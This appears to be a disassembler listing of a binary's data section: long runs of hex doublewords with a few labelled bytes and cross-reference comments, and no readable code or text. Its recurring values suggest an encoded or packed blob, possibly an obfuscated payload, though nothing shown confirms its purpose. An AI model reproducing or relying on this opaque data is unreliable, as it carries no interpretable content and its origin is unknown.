		dd 0CAA8CE3h, 35706816h, 6C830B64h, 0FA98D2DBh,	0DDB7744Dh
		dd 11769069h, 86DB1566h, 0E4321566h, 0B8AF3195h, 5E6579F4h
		dd 7F8438D3h, 4439FC4Dh, 62551566h, 0E3454B6Dh,	2B7F4084h
		dd 2425FD06h, 0CBCE1566h, 11321066h, 8832048Fh,	7B936466h
		dd 2ADA9093h, 0F6BBB5D9h, 5294E6Ch, 0CD63ACD7h,	26F39487h
		dd 90321566h, 8832118Fh, 603E9266h, 63E9C3Ah, 11321B8Fh
		dd 0A2CE9A66h, 0FE2FD250h, 9106FE03h, 469D88E5h, 0DAF8AA31h
		dd 381B296Eh, 786D1142h, 43F8D7E7h, 6152296Eh, 44321575h
		dd 78430280h, 68A26B40h, 6CFE6E8Fh, 0C5C05148h,	43A8C0A0h
		dd 0D415AE06h, 35452ADh, 965974A5h, 2220FC62h, 19A61566h
		dd 676875CDh, 933ECAD6h, 12BF9DDBh, 72B0701Dh, 0A39780EFh
		dd 4BDB1372h, 8A321566h, 0C227E19h, 0B1240CFBh,	76F963C8h
		dd 27DBB4FEh, 0D4321566h, 876F9E98h, 0C552110Ch, 0E73D795h
		dd 115A7468h, 0E8321576h, 44321C8Eh, 14923366h,	0C55A9F9Bh
		dd 71B9F0BAh, 605A7439h, 0AB32157Bh, 77523172h,	0EB31C4E7h
		dd 0AD327F07h, 2232156Fh, 0BB900366h, 0D7855CEDh, 0EDA7EA19h
		dd 0DA340142h, 206F90EFh, 9ADB1372h, 6F321566h,	64232B57h
		dd 5A574FD0h, 9684B70Ch, 8A21DE7Bh, 0E1BB4652h,	0DB9CFEFh
		dd 8CF69442h, 24321566h, 2232078Fh, 94833466h, 738FE50Ah
		dd 9816D100h, 2A9AF3h, 77834B9Bh, 0E9E909DFh, 1D162199h
		dd 0DE36D1E5h, 116CD58Eh, 85B01A66h, 0AD321566h, 2232156Eh
		dd 0E6CA0E2Eh, 8450654Bh, 0C5D79C33h, 223211A3h, 15DF9466h
		dd 0F321566h, 0CD6E314Ah, 0A63D3152h, 1132156Eh, 88309869h
		dd 25521566h, 0DE52B89Ah, 9EABE7DEh, 31637457h,	79FB4191h
		dd 6B73E4E7h, 0D0B310ACh, 82B52F71h, 476BDD4Fh,	27163122h
		dd 53B842ABh, 88321E8Fh, 99F27266h, 0E721ED91h,	0E37EA629h
		dd 36A4236h, 80B1315Ah,	2235FC62h, 45271566h, 3109995Fh
		dd 40DE94ACh, 0AB321566h, 15B3315Ah, 0A72C7F42h, 0AFB34E10h
		dd 541D0B0Ch, 0C2C7D9Ah, 0B4BB1566h, 45B81A42h,	0DA321566h
		dd 7752D556h, 5BADF5E7h, 4432078Fh, 0CF0C4066h,	0E545151Dh
		dd 0DF57BF7h, 0E39462C4h, 435D369Eh, 0F8CF60C8h, 88321574h
		dd 0C5CCD57h, 0C5E9228Ah, 948D861Ah, 53AA890Ch,	0CF3D3100h
		dd 22321567h, 1DB11A9Fh
		dd 87321566h, 443213E9h, 22B31A66h, 9A321566h, 1623152h
		dd 44361086h, 0E2B11566h, 35369262h, 8834FC3Ah,	0E0CE1566h
		dd 0FCE3E821h, 27ECFAE7h, 571B3381h, 3345AF34h,	0E0B30E28h
		dd 1AAAAA01h, 6168C267h, 44321572h, 29F980A6h, 54DEE31Dh
		dd 0EE0A8276h, 0ED1E016Dh, 0C88C4ED9h, 90D59C31h, 883211A1h
		dd 40DD9466h, 0A5321566h, 986E315Ah, 73D3172h, 44321564h
		dd 4A5A7406h, 9832150Dh, 8768315Ah, 443217EAh, 0A9537566h
		dd 53E6CDBh, 8821FC60h,	6EF91566h, 0F227A3ADh, 66138EB7h
		dd 52912A39h, 0A8A52159h, 0DDCDAC92h, 20CBEA99h, 0E060E9A6h
		dd 44321566h, 0A8C0143Ch, 3DB4F64h, 2F321566h, 3B75131Fh
		dd 0BC465AD6h, 69BEBD67h, 7F7E13FAh, 24FA2517h,	12897393h
		dd 0A962741Ah, 0B4F678D5h, 7C2BED6Bh, 0B52106Fh, 4B1F271Dh
		dd 894262C1h, 0C33D4DA0h, 22321573h, 113D9469h,	82DB1566h
		dd 0E2321566h, 48A46FB3h, 4FE229A9h, 0F06EA88h,	6F1621E7h
		dd 7A19B726h, 5119AA31h, 70033EC4h, 0ADF3E039h,	0F4B3756Eh
		dd 47869003h, 4903749Fh, 0C13D5F93h, 0DDCDEA15h, 113F9269h
		dd 80DB1566h, 98321566h, 87E0997Ch, 4718D1BAh, 165DBEFh
		dd 1BCA9C91h, 42CB7538h, 11329969h, 0E3D1566h, 44321566h
		dd 0B1CA7407h, 3526E235h, 8752863Dh, 0C28DD3D9h, 432BFA00h
		dd 4B162199h, 8836D1E7h, 4B521566h, 223216EFh, 0CAD79566h
		dd 0BCB34507h, 391C9C42h, 73309A52h, 113215DFh,	9E31466h
		dd 391C9C57h, 0CB524C52h, 1132156Fh, 4F8E6620h,	1C1FA15h
		dd 43C09EDBh, 0AC67439Eh, 88321562h, 456FFBEFh,	25DB4B94h
		dd 0C1321566h, 11558062h, 0CD64C86Ch, 26F49480h, 92321566h
		dd 0BCB51188h, 50BB4942h, 2238FC42h, 0B91E1566h, 56627017h
		dd 0A10395DAh, 20C79099h, 18DB1372h, 16321566h,	0E5AB8947h
		dd 0E0336DB1h, 13C780EDh, 0DB521372h, 1707AA00h, 0C9F5943Ch
		dd 705C516Ah, 0AA0B805Fh, 0C03D1372h, 2232153Bh, 35269E9Eh
		dd 9D59C31h, 443211A1h,	26F59466h, 96321566h, 716E315Ah
		dd 141621EDh, 2637F5EFh, 14321566h, 88321562h, 181611E1h
		dd 22339D69h, 41CA1566h, 8836AA31h, 0BCBB1566h,	7AF41439h
		dd 0ED80FC9Ah, 0E8CEEA99h, 4CDADDEDh, 30321566h, 0A9B278AAh
		dd 0EEAAD2EDh, 1A34F3D9h, 606EA07h, 15F6943Ch, 87321566h
		dd 44321FEEh, 2237FC66h, 9FB41566h, 330E35Fh, 0CD643152h
		dd 26F49480h, 90321566h, 883211A0h, 60069266h, 23BD1A3Ah
		dd 0E8321566h, 83B81A07h, 24321566h, 0A3C5A269h, 483A468Fh
		dd 84B9746Dh, 0A3BB4242h, 2236D2E7h, 0D6B11566h, 0AC0E9262h
		dd 4420FC3Ah, 4A5E1566h, 0A66EA5B0h, 0F1F39FEh,	16A8C893h
		dd 8AA00B63h, 3506EA93h, 8CF6963Eh, 268C7306h, 0A13D75BDh
		dd 11321566h, 0E953B3D2h, 5E2F90A1h, 22321372h,	47521566h
		dd 0D7CBAA69h, 4432058Eh, 0C5E11966h, 0ECF88E82h, 0C6410D10h
		dd 65AFD83h, 6EF095C7h,	94F57439h, 8E260787h, 44321566h
		dd 223AFC93h, 92BA1566h, 4F714086h, 0F9B107E6h,	24296DCEh
		dd 64B61A66h, 70321566h, 44289569h, 0CB521566h,	11321576h
		dd 58F9890Dh, 50875111h, 426163C0h, 647A88D4h, 0E9C8AA69h
		dd 0DCE888EBh, 42C7137Ch, 984CAC06h, 40B94A5Bh,	4423FD07h
		dd 1C881566h, 0A7DC5582h, 0C9AF4054h, 678EFAB0h, 0CBCFEA35h
		dd 1132156Dh, 9762192Ch, 0B550CAC0h, 7A3B840Fh,	1EE1EA07h
		dd 883206EBh, 443CFC66h, 8C681566h, 0D641AA37h,	38454916h
		dd 694B99D1h, 213B9099h, 0F8C71372h, 8832156Ah,	9D8DA24Fh
		dd 0EEB83EDh, 5ACF449Ah, 8B3BA8E5h, 4B561372h, 223099E4h
		dd 1DB81A66h, 87321566h, 443213E9h, 22BC1A66h, 0D6321566h
		dd 9C311CE3h, 44321460h, 4252ED66h, 0CBF39437h,	0D178AFA5h
		dd 44321E8Eh, 464E5F66h, 5C1D868Ah, 0CB057103h,	256C7406h
		dd 61B890EBh, 7752137Dh, 0D4A8CDE7h, 94CD749Ah,	0CBCC9E06h
		dd 11321560h, 0BF5961ECh, 0C953ADF6h, 394B6DD3h, 113FFC60h
		dd 0EF2E1566h, 461F9CD0h, 0D1FAA7EBh, 9CE3A72Ah, 9436DBDBh
		dd 0FA64ED60h, 7AD20212h, 0C03AFBA7h, 72DC9488h, 0A69E83Eh
		dd 0A336FBA7h, 0EAD67D90h, 0D6C51424h, 0ABB3E24Fh, 6A8B007Fh
		dd 9BD19406h, 0E90EFA12h, 60269E31h, 4236D1E5h,	71FAA269h
		dd 8832138Fh, 0AC699466h, 0CB55FEE8h, 1132156Fh, 0BAE91148h
		dd 1B6E4DEEh, 0A953742Ch, 53E6CDBh, 8821FC60h, 0CE9E1566h
		dd 0BA284547h, 5E2C79Fh, 2FCBA2F5h, 0B1E40273h,	0DDCDAC00h
		dd 953DEA99h, 8832156Bh, 44321D8Fh, 0ECC75B66h,	3010C1A0h
		dd 61F2249Eh, 4432156Ch, 7293BD9Ah, 726F42FCh, 0E852207Dh
		dd 44321E8Fh, 0CDAEFA66h, 0B6742584h, 4673703Eh, 8EB97307h
		dd 228B4407h, 10321566h, 88884797h, 45321566h, 78309FACh
		dd 0D902EC3Fh, 88339E69h, 11CB1566h, 223214DBh,	4CDC1466h
		dd 50851A06h, 44321D8Fh, 0DF502666h, 7D940F78h,	0BCCD746Dh
		dd 0D88847E1h, 132A9811h, 4B363132h, 0FFAE203Eh, 85C70DEBh
		dd 2BDB1D8Fh, 0C8321566h, 0BAFCFCF4h, 4B9334BBh, 68CED457h
		dd 0EE5D9069h, 82DBEA99h, 39321566h, 7C9FF13h, 6943B09Fh
		dd 8CDE94EDh, 0CD321566h, 0EB3316Ah, 0D3164F42h, 0D2374D0Dh
		dd 2459D742h, 72534E31h, 0E66C4D30h, 0E3D83B0h,	4432156Ch
		dd 0E9B37306h, 0AE3D6FA8h, 0D0B74B9h, 42261A6Fh, 22BF9169h
		dd 1DB1566h, 0A4321566h, 11F68830h, 0BDF20C59h,	0F7039601h
		dd 0D94F64F6h, 140DC5DFh, 0E2027D32h, 106ABEC9h, 8DDB4CAEh
		dd 0E1321566h, 9747E334h, 943DD56Dh, 8832154Eh,	4432048Fh
		dd 0F2FB2E66h, 0C5AB5C03h, 0E181CF79h, 72277175h, 0E5CB5F3Eh
		dd 53640E3h, 88321460h,	9CB97566h, 0D753EDEDh, 181EAF34h
		dd 62F355F8h, 0E8F8946Eh, 74387951h, 113215D8h,	0FE43C66h
		dd 86B34B94h, 28AC0C01h, 0F868C467h, 88321561h,	6D746F43h
		dd 43FDDCD6h, 11249469h, 99DB1566h, 0A4321566h,	3CB41502h
		dd 0EA3ED6CBh, 0F5744391h, 5F68F1AEh, 0C79B7D9Eh, 1DB960EDh
		dd 8CF69642h, 44269069h, 42521566h, 1139FC07h, 19D01566h
		dd 0FBBBFD2Ah, 9A6FDF1Dh, 2DB7418h, 20321566h, 4AC8A105h
		dd 0E7242851h, 0F365BC32h, 0F41E4C6Eh, 0D788D200h, 0D574B76Dh
		dd 43E8E2BCh, 0D2160991h, 0AEB35F2Ch, 0B8A660E7h, 11339069h
		dd 25CB1566h, 25879C9Fh, 42340152h, 0C2851A37h,	8753EC3Eh
		dd 443207EBh, 2EBF1A66h, 0F8321566h, 88321561h,	0A700999Ch
		dd 0A3875712h, 1132118Ah, 0AC1E9C66h, 0B92BD80Eh, 0CFB34865h
		dd 12CF0CABh, 0D5CE7BEFh, 54DB4306h, 0AC321566h, 45917472h
		dd 0C9D915B9h, 4ACFC772h, 7A4A31D6h, 0BF4E1BDDh, 660F7422h
		dd 4BDCFB88h, 2232D6E3h, 19B81A66h, 87321566h, 443217E4h
		dd 0DE537566h, 0CCEF2BE7h, 0D3DC8BBh, 443215CEh, 22339D69h
		dd 46CE1566h, 883215D9h, 44884766h, 23321566h, 4B089C94h
		dd 8826FC39h, 0F6A61566h, 5B55A0CFh, 25DC7B20h,	2AAA7812h
		dd 87E3BD6Ah, 0AD3D7936h, 11321567h, 818B449Ah,	0C5373649h
		dd 67338687h, 0C8C55C4Ch, 930FCA7h, 447251A7h, 7BFC14A6h
		dd 11339D69h, 1C71566h,	500674D3h, 6DDBEC60h, 1E32154Ah
		dd 88321CE0h, 0C5547566h, 921CA789h, 1EDB7412h,	0C2321566h
		dd 2E80728Eh, 0C2DD1FE5h, 0EB5C8F67h, 1ADB7D46h, 4BCDEA98h
		dd 223206E3h, 113CFC66h
		dd 7EAD1566h, 0F7AEE67Eh, 0E2B0E5EDh, 0A6060AC8h, 882C5D0Eh
		dd 60369C66h, 0D31621E7h, 4A09685Ah, 0B4C3E6E7h, 55DB2E1Bh
		dd 8F321566h, 4E3637AFh, 0AACCDF44h, 980424D5h,	76788BA9h
		dd 15679055h, 49C71372h, 4EDB16AEh, 0A6321566h,	209EAE3Ch
		dd 41EE0D1Fh, 0CF547555h, 28DA75A4h, 50321566h,	13A37E28h
		dd 1FFABF87h, 0A9544C27h, 145374A5h, 0D4CE2AEEh, 0FA64C54Fh
		dd 7ECE2AEEh, 0F86CE54Fh, 8832156Eh, 0E8124BECh, 0AD4B1B82h
		dd 1E22D5A7h, 88321AEFh, 41DA7566h, 0E321566h, 79CC4523h
		dd 0E96B433Ch, 0CDC7DD57h, 363640FBh, 113EFC60h, 5D931566h
		dd 225A093Dh, 0A5EDA49Dh, 110FDBB1h, 87321466h,	4433DEE5h
		dd 0A3CAE966h, 0AA89AE58h, 35B71ADDh, 24321567h, 22339469h
		dd 90CA1566h, 0C8D426A9h, 0FE607401h, 9A0EC7h, 12F5E7E7h
		dd 30620A71h, 2FC3162Eh, 0C717CD91h, 1462A647h,	3A0CD39Ch
		dd 0CD6AD767h, 72CA4F70h, 7BC9AE35h, 4979629Fh,	0AFF3168Dh
		dd 0F5F1946Eh, 98CDE466h, 4E334EBEh, 51B01A3Eh,	0CB321566h
		dd 11321576h, 9E07F545h, 0BAB1EBEBh, 154C22DFh,	54C4F7CBh
		dd 0BC53A0EFh, 0CE3D1372h, 22321561h, 11339169h, 3CA1566h
		dd 5037FCFBh, 2AB51A60h, 1E321566h, 883217EEh, 0BB537566h
		dd 7D8C4355h, 203AD176h, 0D6363112h, 1BC3943Fh,	0CB3AD176h
		dd 11321561h, 0A54D4F76h, 1336A34Eh, 0D8BB4A36h, 10BD1A39h
		dd 7D321566h, 443EFC06h, 0A6C31566h, 6FCDAB70h,	6364C729h
		dd 0A8B1A2A9h, 6269C62h, 0EE1611E7h, 0D0402775h, 7621EA4Bh
		dd 2ADBE014h, 0A6321566h, 1234D76Fh, 6F0DC04Bh,	362E98E3h
		dd 0F1F3EC60h, 8837FC64h, 66C81566h, 21BE4FF1h,	53DE4E3h
		dd 53D7560h, 44321566h,	43E39E00h, 15DE9636h, 0D01621EFh
		dd 0B19FE938h, 3C55F463h, 47FA147Bh, 9655F4D8h,	1AC23C7Bh
		dd 2232068Fh, 5D3E9366h, 0B1317B73h, 8662ACF7h,	9792EE21h
		dd 2A607D7Eh, 941651EFh, 0CF547506h, 223EFCB6h,	0EFE01566h
		dd 1EBB741Ch, 0A6F9D399h, 0CA53C792h, 1132156Dh, 0C8C93230h
		dd 0B6029B39h, 0CBC3FBB3h, 1132156Ah, 83CC507Ch, 957278EAh
		dd 80646ECDh, 1E53743Fh, 883214EBh, 0EEDBE966h,	42321564h
		dd 25E59400h, 8820FCB7h, 76B61566h, 3ABFF56Dh, 0BCDB26F6h
		dd 504B6432h, 0D1A1A7C0h, 2234FC07h, 515D1566h,	834AE4A5h
		dd 4471310Eh, 63E9C66h,	11339C69h, 0DAC71566h, 86B3F7EFh
		dd 22321562h, 9636FFE5h, 16E3172h, 4B523172h, 223215E8h
		dd 0C7FC9466h, 0E969295Ch, 0CFCBDC57h, 360348F3h, 1309E060h
		dd 88959169h, 0C73D1566h, 22321567h, 158F409Eh,	89321566h
		dd 601E9E8Ch, 2236D1E7h, 1E521566h, 88320FECh, 4426FD66h
		dd 96531566h, 542B7FD6h, 29576D1Dh, 9D7E858Dh, 566056ACh
		dd 0AF6956D5h, 0AC892953h, 458C4307h, 23321566h, 1DB4B97h
		dd 15321566h, 0C89F0401h, 9E7B5BA9h, 11F89193h,	0B32FBA8Ah
		dd 50102CEBh, 0ADB71A60h, 0E8CDEA99h, 0C2FDAC37h, 95C516E9h
		dd 1E2AAE35h, 0C8130457h, 33C3943Dh, 501AF3Ch, 4C9EFCE7h
		dd 0D9BB36ECh, 84BF1A3Fh, 0AD321566h, 22321561h, 19702C54h
		dd 5FC8D5Fh, 507F6CEBh,	0C3CDEC60h, 0E4BF9C9Eh,	61340164h
		dd 4432156Eh, 3062FCCAh, 1A52D7CDh, 0D2162199h,	4436D1E7h
		dd 27DB1566h, 41321566h, 755026F5h, 1D162199h, 4236D1E5h
		dd 70EC9E00h, 88359669h, 22521566h, 0DBBF8BD8h,	0F1BB4507h
		dd 88321163h, 40DA9666h, 7E1611E1h, 0F81621EFh,	88321568h
		dd 0C7558AA6h, 53A2F357h, 0E5040C1Bh, 86DB37A0h, 0A4321566h
		dd 5B3A01Dh, 0EA0CAEDAh, 3516064Fh, 0ADAF9EE1h,	2D340163h
		dd 113205E4h, 82B01A66h, 0AD321566h, 22321563h,	0A09D389h
		dd 888847CBh, 45321566h, 228A45BCh, 10321566h, 0D03A9EB6h
		dd 443FFC3Ch, 1BF11566h, 54CD7B7h, 1113F037h, 0CFF8481Ah
		dd 3630E0E3h, 1BB61A60h, 0E8321566h, 0CB3D4B35h, 22321566h
		dd 0E9D2C407h, 0A45B9065h, 22521372h, 5FF7F7E7h, 1132018Fh
		dd 2CCBB766h, 3B92D04h,	78E62BCCh, 0F7ED5FCDh, 7C098C00h
		dd 75CA74D3h, 0CC5AE990h, 98321570h, 0D0643162h, 5EBA1A38h
		dd 42321566h, 1132058Eh, 30F9D166h, 0BA26584Ah,	0A101D722h
		dd 8955CB7Bh, 7AB94CDAh, 0BC9F7307h, 2D30F5A7h,	113214E9h
		dd 0D31EC66h, 42261A97h, 2232048Fh, 0C96E5666h,	26E572D5h
		dd 0C6BAB9A2h, 4424890Eh, 0E103912Fh, 7803D357h, 69C7B89Eh
		dd 16E8293Bh, 82D0163h,	0A5FA140Ah, 282B0A72h, 0F80E4863h
		dd 1E527552h
		db 0D1h
byte_5C3A41	db 0CCh			; DATA XREF: ___:off_438438o
		db 53h
byte_5C3A43	db 61h			; DATA XREF: ___:off_43A570o
dword_5C3A44	dd 4432156Ch, 0A43A9C4Dh, 0A6941230h, 77530FD4h, 0C76C3152h
					; DATA XREF: ___:off_43A568o
		dd 24DB11A2h, 6D321566h
		db 13h,	66h, 27h
		db 0E3h
		dd 1D8F9650h, 2334014Ah, 11E39169h, 0EE521566h,	0B8C3FEE7h
		dd 0AF3D749Ah, 11321567h, 0CDBF2E9Ah, 4B340177h, 2232A3E2h
		dd 9C09E966h, 8E261C57h, 449B9169h, 19CA1566h, 50694EBh
		dd 14B61A60h, 4B321566h, 22320FE5h, 5B11A66h, 61321566h
		dd 44321569h, 8E66A7C7h, 93EA305Eh, 976A04FEh, 0C9E06258h
		dd 39E4D5FBh, 16BF1A60h, 0E8321566h, 0FB3D7406h, 0F1CD7495h
		dd 0E6B3759Fh, 0D035670Dh, 4432188Eh, 198BBF66h, 0EA4AD4B2h
		dd 0FC9919F5h, 4DDBE00Ch, 9E321566h, 0EA4269B0h, 6904390Dh
		dd 1463743Fh, 7BFD9C3Fh, 0CCB79C93h, 61340179h,	44321568h
		dd 0C0E0163Fh, 32E7EC13h, 0C128969Ch, 0C13D11E6h, 22321562h
		dd 70C89E06h, 8812DF8Fh, 8EB87566h, 22369069h, 0A8541566h
		dd 5538F03h, 5FE4D5FBh,	2CB11A60h, 0F8321566h, 8832156Fh
		dd 0B593BEA1h, 648A0088h, 0F8E1EA99h, 8832156Dh, 666C293Bh
		dd 48F47935h, 0E45653B9h, 0A46BA8E5h, 4B321372h, 22327DE2h
		dd 6BE1A66h, 0E8321566h, 44321F8Fh, 2C788D66h, 9E35F0A1h
		dd 90F429Ch, 1B3E7CA1h,	0A709746Eh, 17261D57h, 88009169h
		dd 54DB1566h, 0B7321566h, 0BB0D85F2h, 224CF5E0h, 47C4DD39h
		dd 19A6E927h, 53204E3h,	96B71A60h, 4B321566h, 22321EE8h
		dd 1134FC66h, 6B561566h, 669B0C60h, 0DDCCFF8Fh,	77CA7599h
		dd 510AFCE7h, 0C5B72E07h, 2D340143h, 1132B5E3h,	883EFC66h
		dd 85161566h, 4F6359CEh, 0DC775695h, 35B190A2h,	422607ABh
		dd 73B61A66h, 71321566h, 883DFC9Ah, 175D1566h, 8E7645EDh
		dd 1A3EE66Eh, 8FB9E4Ch,	0C7C774E2h, 363244DBh, 953D1560h
		dd 8832153Bh, 0B3B97306h, 2232078Eh, 942F9D66h,	0CB220466h
		dd 0F65ECAB6h, 0BB291257h, 0F94F74C0h, 8832156Fh, 3FEE37D7h
		dd 68F8E317h, 70684BBEh, 0C2AE90EBh, 54DB137Dh,	81321566h
		dd 176302A0h, 4037B989h, 3B8B63FAh, 0CB9FB154h,	0EECDEB21h
		dd 88399169h, 0C4521566h, 0A23D9F88h, 11321566h, 9B72E07h
		dd 4B340143h, 0DDCC3FE2h, 0ACB1E999h, 8E296DEAh, 6EB71A67h
		dd 0CB321566h, 11321563h, 74E3631h, 84B72E7Fh, 2D340E1Eh
		dd 113201E3h, 0DBFE066h, 446B1E82h, 0F48D1A06h,	0F853DED1h
		dd 77CDEB54h, 4BCD249Ah, 223200EEh, 9A547566h, 8839FCBFh
		dd 2E841566h, 0A2715589h, 3D3CB4D8h, 35B174ADh,	42263EF3h
		dd 8BB61A66h, 1E321577h, 88321EE9h, 0ADB37566h,	704C32EEh
		dd 70ED9E00h, 8832188Fh, 86467666h, 2DCEF7E5h, 0E218F60Eh
		dd 0D09A4F0h, 42296DCAh, 22729069h, 3DB1566h, 0D0321566h
		dd 2F58BFDDh, 0EAE2237Bh, 48351A07h, 0F5194CF7h, 0A5B79EFDh
		dd 0CB340162h, 11321572h, 0EFADD57Fh, 0D4D424E5h, 142B6817h
		dd 0FA10D392h, 0AAD91EBDh, 0BB63DAE1h, 0A56B3162h, 9409E9A9h
		dd 8E296DD2h, 44649069h, 0AB3D1566h, 11321567h,	81B79E9Ah
		dd 4B340157h, 22321DEDh, 13B61A66h, 0E8321566h,	0BB8F4007h
		dd 0BCDEA99h, 0F9524889h, 88321577h, 0F0406B9Eh, 0E96DF6EDh
		dd 81F3A933h, 26002C24h, 4420FCDFh, 52B71566h, 6CCB18ECh
		dd 15863937h, 22A6468Ch, 1F87CA09h, 70E89F39h, 0F082905Dh
		dd 0C13D137Dh, 2232152Ch, 0D4B79E9Ah, 0E8340174h, 0ADCDA269h
		dd 22321577h, 4D80AC75h, 303C60DFh, 75E880FFh, 0D18286D9h
		dd 0A86374D2h, 0A530676Dh, 0C9C4D4E7h, 0ED33C79Bh, 0A63D753Fh
		dd 84DA75A1h, 0C3321566h, 0E5BA4279h, 5C4DAFE9h, 0D3A64453h
		dd 0C1097407h, 24296DDEh, 11649069h, 82DB1566h,	30321566h
		dd 0B98E125Ah, 1E160004h, 883CFC66h, 58CE1566h,	7F613C5Dh
		dd 0BE0E4921h, 3348CD4Bh, 496390EDh, 42CA1372h,	4DEB9537h
		dd 60B37339h, 1553AC7Eh, 223214DFh, 48FD1466h, 88321D8Fh
		dd 83A77166h, 6FD9C954h, 0E0B9750Fh, 819CAD06h,	25534888h
		dd 5A8E905Dh, 943D137Dh, 8832152Bh, 4432018Fh, 0B19B6D66h
		dd 0BF2F869Ch, 8B38AAB4h, 0FEA7ECD3h, 6928604Bh, 10B61A97h
		dd 74321566h, 691F90EDh, 30DB1372h, 0F4321566h,	0CDD76883h
		dd 0B9E81C59h, 0CA704CA0h, 0B34E1D49h, 0FE8C43AEh, 0C571C36Ah
		dd 0F43E6088h, 4FC51425h, 48B72E9Eh, 4B340E1Eh,	223270E3h
		dd 1E607566h, 883215E6h, 4DDB4B66h, 7321566h, 0D702778Ah
		dd 0B2BD5230h, 79B79E07h, 0DE34016Ah, 11321C8Fh, 9A0C5566h
		dd 0F749A33Fh, 9A62D1DEh, 2470342Dh, 0BDEAE226h, 8E8FCBD3h
		dd 2D6AD267h, 113235E5h, 0A3D7566h, 44321566h, 2232068Fh
		dd 5739FD66h, 179940FEh, 37A185DEh, 9450573Dh, 4790DFB8h
		dd 0D09E907h, 42296DA2h, 225E9069h, 2DB1566h, 8C321566h
		dd 0FC88AB4Dh, 7A7EF403h, 14C01576h, 5D08DE98h,	0C1B96980h
		dd 242600A3h, 0E7B37306h, 84DBECABh, 0A8321566h, 539F6192h
		dd 8A549D96h, 0E973BD7Ah, 0BBCDAB30h, 0D51BEA99h, 14BF1A38h
		dd 0E8321566h, 25F4AA69h, 31DB7506h, 51321566h,	0A745E4AEh
		dd 0BFC46527h, 408F34C7h, 0CB168FF1h, 0A3DC56Ch, 44321566h
		dd 0A7097407h, 17296DAEh, 88439069h, 4B521566h,	223213ECh
		dd 0F0DC9466h, 7162C48Fh, 0C1B9EC07h, 24261AB7h, 11389F69h
		dd 8DDB1566h, 18321566h, 0B70BAA31h, 101AAE35h,	5BC51199h
		dd 0BAE4FEE7h, 0FD33EE66h, 953D753Dh, 88321565h, 0ACF9A269h
		dd 2232156Dh, 347AF86Bh, 0D7C2EB4Eh, 228DBA18h,	0B5C0C7E7h
		dd 973D743Fh, 88321575h, 44321B8Fh, 5597DA66h, 40D794E5h
		dd 739D6FC2h, 7F5A6D6Eh, 394AD9E3h, 3AB71A60h, 0E8321566h
		dd 25CAC2EDh, 3FB790EDh, 71521372h, 4D2CFEE7h, 0C43D4D27h
		dd 22321566h, 0A8637407h, 88321567h, 4B6BDA67h,	223214E2h
		dd 9409EC66h, 8E296DB6h, 440A9069h, 30DB1566h, 79321566h
		dd 2A284767h, 0AA9BDE0h, 5FD7F0BBh, 180D5083h, 15B79EBCh
		dd 4B340143h, 223214E7h, 0AF64EC66h, 77CDEA99h,	0AD6CE24Fh
		dd 22321560h, 0AE526313h, 0D092AEEh, 42296DBEh,	220E9069h
		dd 9C3D1566h, 88321577h, 4432198Fh, 16160966h, 76579B9Ch
		dd 0E9C9C8Fh, 51B79E4Ah, 0CB340153h, 1132156Dh,	8284E393h
		dd 0B638B22h, 70089069h, 113214DCh, 0D2E51466h,	9AB97306h
		dd 0A7097493h, 17296DB2h, 887D9069h, 0CE521566h, 9FB174A8h
		dd 1726356Fh, 0B6B71A66h, 0AD321566h, 2232156Ah, 97A83C86h
		dd 989DDC36h, 0B0AB3C37h, 3FB79E93h, 1E34016Bh,	883212E2h
		dd 45B51A66h, 0D7321566h, 0EECDAE35h, 571BEA99h, 4439FC3Dh
		dd 2F3F1566h, 0A9925DD4h, 450E5CDh, 458F96DCh, 2234017Bh
		dd 11639169h, 0F3D1566h, 4432157Dh, 22279269h, 1DB1566h
		dd 0F4321566h, 17156BC1h, 7187E8E5h, 4DC681CFh,	0B3093FBDh
		dd 5F4B75E3h, 6B71A60h,	0E4321566h, 0A72390EDh,	0CB3D1372h
		dd 22321561h, 11339169h, 0DBC71566h, 443214DDh,	79ED1466h
		dd 11339F69h, 0BCA1566h, 503B5CDBh, 0A63D1560h,	113217FEh
		dd 882C9F69h, 4B521566h, 36DBE3D1h, 0AD321566h,	0E08D1595h
		dd 478362D5h, 0D7FC77CCh, 733B0228h, 0E9918E8Dh, 755FA8E5h
		dd 2D321372h, 113072E2h, 883EFC66h, 0F3821566h,	501F6CEAh
		dd 9E732167h, 0D092572h, 42296C22h, 220F9069h, 9ACE1566h
		dd 9C2774E3h, 0B8527560h, 22321F8Fh, 0E8862D66h, 36CFD790h
		dd 256E0472h, 2232198Fh, 50324066h, 16A5D345h, 0E26780A4h
		dd 9C647473h, 11321567h, 706CE267h, 44339369h, 19CE1566h
		dd 0A4B41E3h, 0B5B71A60h
		dd 24321566h, 2232078Eh, 45CFA566h, 0B45FC5E7h,	0F802ED28h
		dd 5A676A74h, 0F82EDCC9h, 8832156Fh, 25507AB5h,	3D29E847h
		dd 0AB524DFDh, 0A3EAE0ABh, 0C1B97407h, 24263BA3h, 3DB14293h
		dd 746DEA42h, 3D7A905Dh, 0A73D137Dh, 1132150Eh,	883E9569h
		dd 0C03D1566h, 22321560h, 11329669h, 0E3D1566h,	44321567h
		dd 2BB79E9Fh, 1E340147h, 88321DEDh, 46BA1A66h, 42321566h
		dd 0AF64ED07h, 0A85400BDh, 72C1F3E7h, 0D4B30C1Eh, 2FBB3702h
		dd 0BE8AFBE7h, 0B31B2B8Fh, 2D527538h, 113215E5h, 0E96C4366h
		dd 4439FD36h, 0F9B21566h, 52FBD9A8h, 5704A73Dh,	256B4B54h
		dd 5B6A905Dh, 943D137Dh, 88321535h, 4432198Fh, 965E9C66h
		dd 54E3673Bh, 2A98D605h, 61B79E10h, 2D34017Bh, 11321EECh
		dd 8834FC66h, 2AEF1566h, 7133DE1Dh, 3A6AAB30h, 66F30E5Dh
		dd 41DCD461h, 0E4B3C391h, 7D006A4Bh, 0BCB5D3E7h, 0B33386A9h
		dd 2AB51A38h, 1E321566h, 883217E5h, 7F537566h, 394B49E3h
		dd 41B71A60h, 0E8321566h, 44379769h, 0A3541566h, 9A623E88h
		dd 33D74BFh, 4432157Dh,	2223FC06h, 0B121566h, 8D1E25EEh
		dd 2F6A582Eh, 371B30CDh, 7735623Fh, 353DBEDh, 503B4CE3h
		dd 44807560h, 0EE8F4007h, 0A1CDEA99h, 0C5524889h, 91A52786h
		dd 6B80AE7Eh, 0B35369BAh, 5F4B59E3h, 1AB71A60h,	1E321566h
		dd 883219E2h, 9FB37566h, 6E5EADB2h, 40B2AD00h, 11B79E07h
		dd 0B8340168h, 5237AC37h, 0F0E3054Dh, 0E9FB942Fh, 0C536A641h
